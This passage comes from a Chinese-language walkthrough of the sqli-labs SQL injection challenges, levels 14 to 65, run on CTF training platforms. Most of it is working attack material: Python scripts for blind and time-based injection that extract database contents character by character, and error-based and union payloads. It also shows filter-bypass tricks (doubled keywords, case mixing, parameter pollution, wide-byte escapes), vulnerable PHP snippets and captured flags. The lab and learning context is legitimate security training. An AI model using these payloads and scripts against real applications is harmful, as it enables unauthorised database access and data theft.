 # print(r.text)
 time.sleep(1)
 if "flag.jpg" in r.text:
 head=mid+1
 else:
 tail=mid

 if head !=32:
 result+=chr(head)
 else:
 break
 
 print(result)

第十四关

把上面中的 ‘) 换成 “

第十五关

判断闭合’ or if(1=2,1,sleep(10)) # 时间盲注POST版贴上我的脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30


import requests
import time
url = "http://e4cb6dc3-7b2c-4c2a-913c-c7e1a9dae714.node4.buuoj.cn/Less-15/"

result=""
for i in range(1,1290):
 head=32
 tail=127
 while head<tail:
 mid=(head+tail)>>1
 # data={"uname": "1' or if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{},1))>{},sleep(1),0) #".format(i,mid),"passwd": 1}
 # data={"uname": "1' or if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{},1))>{},sleep(0.5),0) #".format(i,mid),"passwd": 1}
 # data={"uname": "1' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctftraining'),{},1))>{},sleep(0.5),0) #".format(i,mid),"passwd": 1}
 # data={"uname": "1' or if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='flag'),{},1))>{},sleep(0.5),0) #".format(i,mid),"passwd": 1}
 data={"uname": "1' or if(ascii(substr((select flag from ctftraining.flag),{},1))>{},sleep(0.5),0) #".format(i,mid),"passwd": 1}

 start_time=time.time()
 r=requests.post(url=url,data=data)
 #print(r.text)
 if time.time()-start_time>=1:
 head=mid+1
 else:
 tail=mid

 if head !=32:
 result+=chr(head)
 else:
 break
 
 print(result)

第十六关

判断闭合 “)or if(1=2,1,sleep(10)) # 把上面脚本的 ‘ 改为 “)

第十七关

username必须得admin才行，没想到。。靠！！！报错注入 1’ or updatexml(1,concat(0x26,database(),0x26),1)# 1’ or updatexml(1,concat(0x26,database(),0x26),1)# 1’ or updatexml(1,concat(0x26,(select right(group_concat(schema_name),30) from information_schema.schemata),0x26),1)# 1’ or updatexml(1,concat(0x26,(select left(group_concat(schema_name),30) from information_schema.schemata),0x26),1)# 左右拼接一下就是库名 ····中间差不多不多赘述了 1’ or updatexml(1,concat(0x26,(select left(flag,30) from ctftraining.flag),0x26),1)# 1’ or updatexml(1,concat(0x26,(select right(flag,30) from ctftraining.flag),0x26),1)# 左右拼接一下就是flag

另一个函数注：该函数一次只能查询32位长度 extractvalue(1,concat(0x26,(SQL语句),0x26));

第十八关

把UA换成 ‘ or updatexml(1,concat(0x26,database(),0x26),1)and’ 应该是后面还有语句，没想到。。。看看源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)//登录成功
{
 //将用户的uagent,ip,uname插入到一张表中
 $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

 mysql_query($insert); //进行插入数据

 echo 'Your User Agent is: ' .$uagent;
 print_r(mysql_error()); //输出详细错误 
}

else
{
 echo '<font color= "#0000ff" font size="3">';
 print_r(mysql_error()); //输出详细错误
 echo '<img src="../images/slap.jpg" />';
 echo "</font>"; 
 }

果然是 ‘ or updatexml(1,concat(0x26,(select right(flag,30) from ctftraining.flag),0x26),1) and ‘ ‘ or updatexml(1,concat(0x26,(select left(flag,30) from ctftraining.flag),0x26),1) and ‘ 读取flag

第十九关

改referer和上面一样

第二十关

这个不看源码做不了吧。。。。。

1
2
3
4


//uname和passwd都做了过滤,而cookie没有，直接获取
$cookee = $_COOKIE['uname'];
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
//存在一个跟cookie相关的sql语句操作，由于未进行任何过滤，所以存在cookie注入

buu没有回显。。。。 ctfshow有。。。常规注入不做赘述查看17题

第二十一关

记得base64编码 admin’) or updatexml(1,concat(0x26,(select right(group_concat(schema_name),30) from information_schema.schemata),0x26),1)# admin’) or updatexml(1,concat(0x26,(select left(group_concat(schema_name),30) from information_schema.schemata),0x26),1)# admin’) or updatexml(1,concat(0x26,(select left(group_concat(table_name),30) from information_schema.tables where table_schema=’ctfshow’),0x26),1)# admin’) or updatexml(1,concat(0x26,(select left(group_concat(column_name),30) from information_schema.columns where table_name=’flag’),0x26),1)# admin’) or updatexml(1,concat(0x26,(select right(group_concat(flag4),30) from ctfshow.flag),0x26),1)# ctfshow{2e2f5457-7c1f-4c62-be9b-e60e06bcf98f}

第二十二关

把上面的’)改“ 步骤差不多 ctfshow{58706930-1993-4c33-98d4-91326f15b2c2}

第二十三关

?id=1’or updatexml(1,concat(0x26,(select left(group_concat(schema_name),30) from information_schema.schemata),0x26),1)and ‘ 然后差不多 ?id=1’or updatexml(1,concat(0x26,(select left(group_concat(table_name),30) from information_schema.tables where table_schema=’ctfshow’),0x26),1)and ‘ ?id=1’or updatexml(1,concat(0x26,(select left(group_concat(column_name),30) from information_schema.columns where table_name=’flag’),0x26),1)and ‘ ?id=1’or updatexml(1,concat(0x26,(select left(group_concat(flag4),30) from ctfshow.flag),0x26),1)and ‘ ctfshow{c3322c5b-e92d-4b1b-82d0-d18b4f075da6}

第二十四关

可以改管理员密码。。不太会，查不到库里面的数据

You tried to be smart, Try harder!!!! :( 别骂了别骂了。。 admin’ or if(1=2,1,sleep(5)) #让服务器炸了二次注入加时间盲注

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51


import requests
session=requests.session()
i=0
result=""

for i in range(1,1290):
 head=32
 tail=127
 while head<tail:
 mid=(head+tail)>>1
 # payload = f'if(ascii(substr((select group_concat(table_name)from(information_schema.tables)where(table_schema="ctfshow")),{i},1))>{mid},sleep(1),0)'
 # payload = f'if(ascii(substr((select group_concat(column_name)from(information_schema.columns)where(table_schema="ctfshow")),{i},1))>{mid},sleep(0.7),0)'
 payload = 'if(ascii(substr((select group_concat(flag4)from(ctfshow.flag)),{},1))>{},sleep(1),0)'.format(i,mid)
 username = "admin' and {} or '2'='2".format(payload)
 url1 = 'http://58962273-3e5b-4881-8bef-750836065431.challenge.ctf.show:8080/login_create.php'
 data1 = {
 'username': username,
 'password': '1',
 're_password': '1',
 'submit': 'Register'
 }
 r1 = session.post(url1, data=data1)
 url2 = 'http://58962273-3e5b-4881-8bef-750836065431.challenge.ctf.show:8080/login.php'
 data2 = {
 'login_user': username,
 'login_password': '1',
 'mysubmit': 'Login',
 }
 r2 = session.post(url2, data=data2)
 url3 = 'http://58962273-3e5b-4881-8bef-750836065431.challenge.ctf.show:8080/pass_change.php'
 data3 = {
 'current_password': '1',
 'password': '2',
 're_password': '2',
 'submit': 'Reset'
 }

 try:
 r = session.post(url3,data=data3,timeout=0.9)
 tail = mid

 except:
 head = mid + 1


 if head !=32:
 result+=chr(head)
 else:
 break
 
 print(result)

第二十五关

报错注入,双写绕过也行 ?id=1%27^extractvalue(1,concat(0x7e,(select(database()))))%23 ?id=1’^updatexml(1,concat(0x26,(select group_concat(schema_name) from infoorrmation_schema.schemata),0x26),1)%23 ?id=1’^updatexml(1,concat(0x26,(select left(group_concat(table_name),30) from infoorrmation_schema.tables where table_schema=’ctfshow’),0x26),1)%23 ?id=1’^updatexml(1,concat(0x26,(select left(group_concat(column_name),30) from infoorrmation_schema.columns where table_name=’flags’),0x26),1)%23 ?id=1’^updatexml(1,concat(0x26,(select right(group_concat(flag4s),30) from ctfshow.flags),0x26),1)%23 ?id=1’^updatexml(1,concat(0x26,(select left(group_concat(flag4s),30) from ctfshow.flags),0x26),1)%23 ctfshow{80fa6629-bc4a-4564-93b9-106eee1fe209}

第二十五关a

?id=-1 union select 1,2,group_concat(schema_name)from infoorrmation_schema.schemata%23爆库名 ?id=-1 union select 1,2,group_concat(table_name)from infoorrmation_schema.tables where table_schema=’ctfshow’%23 ?id=-1 union select 1,2,group_concat(column_name)from infoorrmation_schema.columns where table_name=’flags’%23 ?id=-1 union select 1,2,group_concat(flag4s) from ctfshow.flags%23

第二十六关

?id=1’^extractvalue(1,concat(0x7e,(select(database())))) and’ ?id=1’^updatexml(1,concat(0x26,(select(group_concat(schema_name))from(infoorrmation_schema.schemata)),0x26),1)anandd’ ?id=1’^updatexml(1,concat(0x26,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)like(‘ctfshow’)),0x26),1)anandd’ ?id=1’^updatexml(1,concat(0x26,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)like(‘ctfshow’)),0x26),1)anandd’ ?id=1’^updatexml(1,concat(0x26,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name)like(‘flags’)),0x26),1)anandd’ ?id=1’^updatexml(1,concat(0x26,(select(right(group_concat(flag4s),30))from(ctfshow.flags)),0x26),1)anandd’ ctfshow{bbad336b-ea6c-4094-8888-c27b7a6ec0d0} b-ea6c-4094-8888

第二十六关a

盲注

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27


import requests
import time
url = "http://923efabc-d503-4bbd-a28d-8f1631620fe1.challenge.ctf.show:8080/"

result=""
for i in range(1,1290):
 head=32
 tail=127
 while head<tail:
 mid=(head+tail)>>1
 # payload="?id=100')||if(ascii(substr((select(group_concat(schema_name))from(infoorrmation_schema.schemata)),{},1))>{},1,0)||('0".format(i,mid)
 # payload="?id=100')||if(ascii(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)='ctfshow'),{},1))>{},1,0)||('0".format(i,mid)
 #payload="?id=100')||if(ascii(substr((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name)='flags'),{},1))>{},1,0)||('0".format(i,mid)
 payload="?id=100')||if(ascii(substr((select(flag4s)from(ctfshow.flags)),{},1))>{},1,0)||('0".format(i,mid)
 # print(url+payload)

 r=requests.get(url+payload)
 if "Your Password:Dumb" in r.text:
 head=mid+1
 else:
 tail=mid
 if head !=32:
 result+=chr(head)
 else:
 break
 
 print(result)

第二十七关

大写绕过，也可以用上面的脚本，大写绕过 ?id=1’^updatexml(1,concat(0x26,(sElect(group_concat(schema_name))from(information_schema.schemata)),0x26),1)||’0 ?id=1’^updatexml(1,concat(0x26,(sElect(group_concat(table_name))from(information_schema.tables)),0x26),1)||’0 ?id=1’^updatexml(1,concat(0x26,(sElect(group_concat(column_name))from(information_schema.columns)),0x26),1)||’0 ?id=1’^updatexml(1,concat(0x26,(sElect(group_concat(flag4s))from(ctfshow.flags)),0x26),1)||’0 ctfshow{33995233-b6a5-4717-b457-76add1addd7c} ?id=1’^updatexml(1,concat(0x26,(sElect(right(group_concat(flag4s),30))from(ctfshow.flags)),0x26),1)||’0 3-b6a5-4717-b457-76add1addd7c}

第二十七关a

把教本的’)换成” ctfshow{673c8abe-5548-48b4-b1b7-0338d3f4d45e}

第二十八关

用脚本闭合 ‘)

第二十八关a

不能报错注入用脚本

第二十九关

http参数污染 waf解析前者，服务器解析后者 ?id=1&id=-2’union select 1,2,group_concat(flag4s) from ctfshow.flags %23 ctfshow{97c5088d-09f4-413c-a515-de989a1c32fe}

第三十关

?id=1&id=-2“union select 1,2,group_concat(flag4s) from ctfshow.flags %23

第三十一关

?id=1&id=-2”)union select 1,2,group_concat(flag4s) from ctfshow.flags %23

第三十二关

宽字节注入 %df 吃 ?id=-2%df’union select 1,2,group_concat(flag4s) from ctfshow.flags %23

第三十三关

一样

level 34

十六进制代替 “ “里的东西

1 �’union select 1,group_concat(schema_name) from information_schema.schemata # 1 �’union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x63746673686f77 #

level 35

有点直接。。。数字型注入？？？ ?id=-1 union select 1,2,flag4s from ctfshow.flags%23

level 36

emmm ?id=-1�’union select 1,2,flag4s from ctfshow.flags%23

level 37

emmm -1�’union select 1,2,flag4s from ctfshow.flags#

level 38

emmm -1�’union select 1,flag4s from ctfshow.flags#

level 39

emmm ?id=-1 union select% 1,2,flag4s from ctfshow.flags%23

level 40

盲注跑脚本就是了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29


import requests
import time
url = "http://591c712f-cd11-4547-94e0-27df596874e3.challenge.ctf.show:8080/"

result=""
for i in range(1,1290):
 head=32
 tail=127
 while head<tail:
 mid=(head+tail)>>1
 #?id=100"||if(ascii(substr((seLeCt(group_concat(schema_name))from(information_schema.schemata)),1,1))>9999,1,0)||"0
 # payload="?id=100')||if(ascii(substr((seleCt(group_concat(schema_name))from(information_schema.schemata)),{},1))>{},1,0)%23".format(i,mid)
 # payload="?id=100')||if(ascii(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)='ctfshow'),{},1))>{},1,0)||('0".format(i,mid)
 # payload="?id=100')||if(ascii(substr((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name)='flags'),{},1))>{},1,0)||('0".format(i,mid)
 payload="?id=1') and if(ascii(substr((seLect(flag4s)from(ctfshow.flags)),{},1))>{},1,0)%23".format(i,mid)
 # print(url+payload)

 r=requests.get(url+payload)

 if "Your Username is : Dumb" in r.text:
 head=mid+1
 else:
 tail=mid
 if head !=32:
 result+=chr(head)
 else:
 break
 
 print(result)

中间没改，要用的话自己改改

level 41

上面脚本里面的 ‘) 去掉就行’

level 42

密码处 -1’ union select 1,2,3# -1’ union select 1,flag4s,3 from ctfshow.flags#

level 43

-1’) union select 1,2,3 # -1’) union select 1,flag4s,3 from ctfshow.flags#

level 44

admin’ or if(ascii(substr(database(),1,1))>1,sleep(3),0) # 时间盲注。。脚本改一改

level 45

admin’) or 1=1 # admin’) or if(ascii(substr(database(),1,1))>1,sleep(3),0) # 时间盲注改一改

level 46

报错注入 1 or updatexml(1,concat(0x26,(select left(group_concat(schema_name),30) from information_schema.schemata),0x26),1)# 1 or updatexml(1,concat(0x26,(select right(group_concat(schema_name),30) from information_schema.schemata),0x26),1)# 1 or updatexml(1,concat(0x26,(select right(group_concat(table_name),30) from information_schema.tables where table_schema=’ctfshow’),0x26),1)# 1 or updatexml(1,concat(0x26,(select right(group_concat(column_name),30) from information_schema.columns where table_name=’flags’),0x26),1)# 1 or updatexml(1,concat(0x26,(select right(group_concat(flag4s),30) from ctfshow.flags),0x26),1)# 1 or updatexml(1,concat(0x26,(select left(group_concat(flag4s),30) from ctfshow.flags),0x26),1)# ctfshow{04b1482e-203c-44f1-8bb6-df5b27801821}

level 47

1’or updatexml(1,concat(0x26,(select left(group_concat(schema_name),30) from information_schema.schemata),0x26),1)%23 .. .. .. .. 1’ or updatexml(1,concat(0x26,(select right(group_concat(flag4s),30) from ctfshow.flags),0x26),1)%23 1’ or updatexml(1,concat(0x26,(select left(group_concat(flag4s),30) from ctfshow.flags),0x26),1)%23

ctfshow{749b597e-5a51-495b-b92c-1a3accd21bc0}

?sort=1’or if(ascii(substr(database(),1,1))>1,sleep(0.5),0) %23

level 48

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32


import requests
url = "http://ee9f5ee9-1368-4d89-a875-1a44cfdf308e.challenge.ctf.show:8080/?sort=1 and "

result=""
for i in range(1,1290):
 head=32
 tail=127
 while head<tail:
 mid=(head+tail)>>1
 # payload="if(ascii(substr(database(),{},1))>{},sleep(0.5),0) %23".format(i,mid)
 # payload="if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{},1))>{},sleep(1),0) %23".format(i,mid)
 # payload="if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema='ctftraining'),{},1))>{},sleep(1),0) %23".format(i,mid)
 # payload="if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='flag'),{},1))>{},sleep(1),0) %23".format(i,mid)
 payload="if(ascii(substr((select flag4s from ctfshow.flags),{},1))>{},sleep(0.5),0) %23".format(i,mid)
 # print(url+payload)
 # start_time=time.time()
 r=requests.get(url+payload)
 print(url+payload)
 #print(r.text)
 try:
 r = requests.get(url+payload,timeout=0.4)
 tail = mid

 except:
 head = mid + 1

 if head !=32:
 result+=chr(head)
 else:
 break
 
 print(result)

ctfshow{6d997ae2-953d-4117-8563-e426fb32bc65}

level 49

时间盲注

1’ and if(ascii(substr((seleCt(group_concat(schema_name))from(information_schema.schemata)),1,1))>2,sleep(0.5),0) %23

贴个脚本，自己改

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32


import requests
url = "http://583bbd02-c708-41eb-86ab-f792729f9843.node4.buuoj.cn/Less-49/?sort=1' and "

result=""
for i in range(1,1290):
 head=32
 tail=127
 while head<tail:
 mid=(head+tail)>>1
 payload="if(ascii(substr(database(),{},1))>{},sleep(0.5),0) %23".format(i,mid)
 # payload="if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{},1))>{},sleep(1),0) %23".format(i,mid)
 # payload="if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema='ctftraining'),{},1))>{},sleep(1),0) %23".format(i,mid)
 # payload="if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='flag'),{},1))>{},sleep(1),0) %23".format(i,mid)
 # payload="if(ascii(substr((select flag4s from ctfshow.flags),{},1))>{},sleep(0.5),0) %23".format(i,mid)
 # print(url+payload)
 # start_time=time.time()
 r=requests.get(url+payload)
 print(url+payload)
 #print(r.text)
 try:
 r = requests.get(url+payload,timeout=0.4)
 tail = mid

 except:
 head = mid + 1

 if head !=32:
 result+=chr(head)
 else:
 break
 
 print(result)

level 50

1 or updatexml(1,concat(0x26,(select right(group_concat(flag4s),30) from ctfshow.flags),0x26),1)%23 1 or updatexml(1,concat(0x26,(select left(group_concat(flag4s),30) from ctfshow.flags),0x26),1)%23

ctfshow{0f3c691a-ba65-4f5b-ad46-bc0e58100b9e}

level 51

1’or updatexml(1,concat(0x26,(select right(group_concat(flag4s),30) from ctfshow.flags),0x26),1)%23 1’or updatexml(1,concat(0x26,(select left(group_concat(flag4s),30) from ctfshow.flags),0x26),1)%23 ctfshow{23972c5c-3569-4115-8572-0f754336659a}

level 52

时间盲注 ?sort=1 and if(ascii(substr((seleCt(group_concat(schema_name))from(information_schema.schemata)),1,1))>2,sleep(5),0) %23 49那个脚本改一改

level 53

时间盲注脚本跑一跑 ?sort=1’ and if(ascii(substr(database(),1,1))>114,sleep(0.5),0) %23

level 54

网上没环境了用docker搭了个环境自己做 10次机会先写好语句 id=-1’ union select 1,group_concat(schema_name),3 from information_schema.schemata %23 id=-1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’challenges’ %23 N4QU4VGMDT id=-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=’N4QU4VGMDT’ %23 secret_XA5R ?id=-1’union select 1,group_concat(secret_XA5R),3 from challenges.N4QU4VGMDT %23

level 55

?id=-1) union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’challenges’%23 ?id=-1) union select 1,group_concat(column_name),3 from information_schema.columns where table_name=’RW5TWVFDYU’%23 ?id=-1) union select 1,group_concat(secret_O1KM),3 from challenges.RW5TWVFDYU%23

level 56

?id=-1’) union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’challenges’%23 MMFDGR6C60 ?id=-1’) union select 1,group_concat(column_name),3 from information_schema.columns where table_name=’MMFDGR6C60’%23 secret_ZGCM ?id=-1’) union select 1,group_concat(secret_ZGCM),3 from challenges.MMFDGR6C60%23

level 57

?id=-1” union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’challenges’%23 UCNSDJBA2P ?id=-1” union select 1,group_concat(column_name),3 from information_schema.columns where table_name=’UCNSDJBA2P’%23 secret_7COO ?id=-1” union select 1,group_concat(secret_7COO),3 from challenges.UCNSDJBA2P%23

level 58

没有回显,有报错信息报错注入 1’ or updatexml(1,concat(0x26,(select right(group_concat(table_name),30) from information_schema.tables where table_schema=’challenges’),0x26),1)%23 WMYP9VS7T2 1’ or updatexml(1,concat(0x26,(select right(group_concat(column_name),30) from information_schema.columns where table_name=’WMYP9VS7T2’),0x26),1)%23 secret_YKLV 1’ or updatexml(1,concat(0x26,(select right(group_concat(secret_YKLV),30) from challenges.WMYP9VS7T2),0x26),1)%23 BzE8UovoHobfXoFK5rflIeMo

level 59

?id=1 or updatexml(1,concat(0x26,(select right(group_concat(table_name),30) from information_schema.tables where table_schema=’challenges’),0x26),1)%23 WZBWCK0O8M ?id=1 or updatexml(1,concat(0x26,(select right(group_concat(column_name),30) from information_schema.columns where table_name=’WZBWCK0O8M’),0x26),1)%23 secret_CNZ0 ?id=1 or updatexml(1,concat(0x26,(select right(group_concat(secret_CNZ0),30) from challenges.WZBWCK0O8M),0x26),1)%23 JeF0NQQk0TXsVJM6MzoPbtiL

level 60

?id=1”)or updatexml(1,concat(0x26,(select right(group_concat(table_name),30) from information_schema.tables where table_schema=’challenges’),0x26),1)%23 IYK33M1WVE ?id=1”)or updatexml(1,concat(0x26,(select right(group_concat(column_name),30) from information_schema.columns where table_name=’IYK33M1WVE’),0x26),1)%23 secret_WL6G ?id=1”)or updatexml(1,concat(0x26,(select right(group_concat(secret_WL6G),30) from challenges.IYK33M1WVE),0x26),1)%23 f3Vhf9q9mInCQoAqyOXGCLcy

level 61

?id=1’))or updatexml(1,concat(0x26,(select right(group_concat(table_name),30) from information_schema.tables where table_schema=’challenges’),0x26),1)%23 UEEUBQKDFE ?id=1’))or updatexml(1,concat(0x26,(select right(group_concat(column_name),30) from information_schema.columns where table_name=’UEEUBQKDFE’),0x26),1)%23 secret_RMS1 ?id=1”)or updatexml(1,concat(0x26,(select right(group_concat(secret_RMS1),30) from challenges.UEEUBQKDFE),0x26),1)%23 KnCHCTocAwPG2sToN2wUczxu

level 62

上脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46


import requests
import time
import string
url = "http://100.100.1.20/Less-62/index.php"



def quick(load):
 result=""
 for i in range(1,1290):
 head=32
 tail=127
 while head<tail:
 mid=(head+tail)>>1
 payload = load % (i,mid)
 # print(url+payload)
 r=requests.get(url+payload)
 # print(r.text)
 if "Your Login name : Angelina" in r.text:
 head=mid+1
 else:
 tail=mid
 if head !=32:
 result+=chr(head)
 else:
 break
 
 print(result)
 return result

 
table_name = quick(
 "?id=1')and if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='challenges'),%s,1))>%s,1,0)%%23"
)
print("table_name:"+table_name)

column_name = quick(
 "?id=1')and if(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)='"+table_name+"'),%s,1))>%s,1,0)%%23"
)
column_name=column_name[10:21]
print("column_name:"+column_name)

secret_key=quick(
 "?id=1')and if(ascii(substr((select(group_concat("+column_name+"))from(challenges."+table_name+")),%s,1))>%s,1,0)%%23"
)
print(secret_key)

唯快不破

level 63

闭合方式改为’

level 64

闭合方式改为))

level 65

闭合”)